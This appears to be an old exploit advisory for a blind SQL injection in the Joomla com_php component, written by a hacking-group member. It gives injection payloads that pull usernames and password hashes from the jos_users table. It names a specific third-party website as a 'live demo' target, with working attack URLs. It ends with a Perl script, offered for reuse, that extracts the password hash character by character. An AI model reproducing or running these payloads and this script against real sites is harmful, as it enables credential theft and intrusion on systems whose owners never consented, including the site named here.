Joomla PHP Component SQL Injection

`   
------------------------------------------------------------------------------  
Joomla Component com_php (id) Blind SQL-injection Vulnerability  
------------------------------------------------------------------------------  
  
  
#####################################################  
# [+] Author : Chip D3 Bi0s #  
# [+] Email : chipdebios[alt+64]gmail.com #  
# [+] Vulnerability : Blind SQL injection #  
# [+] Group : LatinHackTeam #  
#####################################################  
  
**********************************************************************  
Info Cms:  
* @name : PHP Component  
* @author : [email protected]  
* @copyright : (c) fijiwebdesign.com  
* @license : http://www.fijiwebdesign.com/  
* @dowloand : http://code.google.com/p/joomla-php/downloads/list  
**********************************************************************  
  
Example:  
http://localHost/path/index.php?option=com_php&Itemid=x&id=y<Sql Code>  
  
x = number Itemid valid  
y = number id valid  
  
<Sql code>:  
  
table jos_users:  
+and+(select+1+from+jos_users+limit+0,1)=1  
  
column password:  
+and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1  
  
column username:  
+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1  
  
caracter ascii  
+and+ascii(substring((SELECT+concat(password)+from+jos_users+limit+0,1),1,1))>57  
  
etc, etc...  
  
DEMO LIVE:  
  
http://www.mercadominas.com.br/index.php?option=com_php&Itemid=70&id=131+and+1=1   
true  
  
http://www.mercadominas.com.br/index.php?option=com_php&Itemid=70&id=131+and+1=2  
else  
  
http://www.mercadominas.com.br/index.php?option=com_php&Itemid=70&id=131+and+ascii(substring((SELECT+concat(password)+from+jos_users+limit+0,1),1,1))=58  
else  
  
http://www.mercadominas.com.br/index.php?option=com_php&Itemid=70&id=131+and+ascii(substring((SELECT+concat(password)+from+jos_users+limit+0,1),1,1))=57  
true  
  
note : in http://www.mercadominas.com.br  
x = number Itemid valid : 70  
y = number id valid : 131  
  
Date and 1=1 & not and 1=2 : com_search --->use script  
  
etc, etc....  
  
+++++++++++++++++++++++++++++++++++++++  
#[!] Produced in South America  
+++++++++++++++++++++++++++++++++++++++  
  
if you want to save the work, you can use the following script,   
gives you password, you are free to modify it ;)  
--------------------------------------------------------------------  
  
#!/usr/bin/perl -w  
use LWP::UserAgent;  
print "\t\t-------------------------------------------------------------\n\n";  
print "\t\t | Chip d3 Bi0s | \n\n";  
print "\t\t Joomla Component com_php (id) Blind SQL-injection \n\n";  
print "\t\t-------------------------------------------------------------\n\n";  
print "[-] http://wwww.host.org/Path: ";  
chomp(my $target=<STDIN>);  
print "[-] Introduce Itemid: ";  
chomp($itemid=<STDIN>);  
print "[-] Introduce id: ";  
chomp($id=<STDIN>);  
print "[-] Dato para and 1=1 & no para and 1=2 : ";  
chomp($z=<STDIN>);  
  
print "[+] Password: ";  
$column_name="concat(password)";  
$table_name="jos_users";  
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";  
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');  
  
  
for ($x=1;$x<=32;$x++)  
{   
for ($c=48;$c<=57;$c++)   
{  
$host = $target . "/index.php?option=com_php&Itemid=".$itemid."&id=".$id."+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c;  
  
my $res = $b->request(HTTP::Request->new(GET=>$host));  
my $content = $res->content;  
my $regexp = $z;  
if ($content =~ /$regexp/) {$char=chr($c); print "$char";}  
}  
for ($c=97;$c<=102;$c++)   
{  
$host = $target . "/index.php?option=com_php&Itemid=".$itemid."&id=".$id."+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c;  
my $res = $b->request(HTTP::Request->new(GET=>$host));  
my $content = $res->content;  
my $regexp = $z;  
if ($content =~ /$regexp/) {$char=chr($c); print "$char";}  
}  
}  
  
`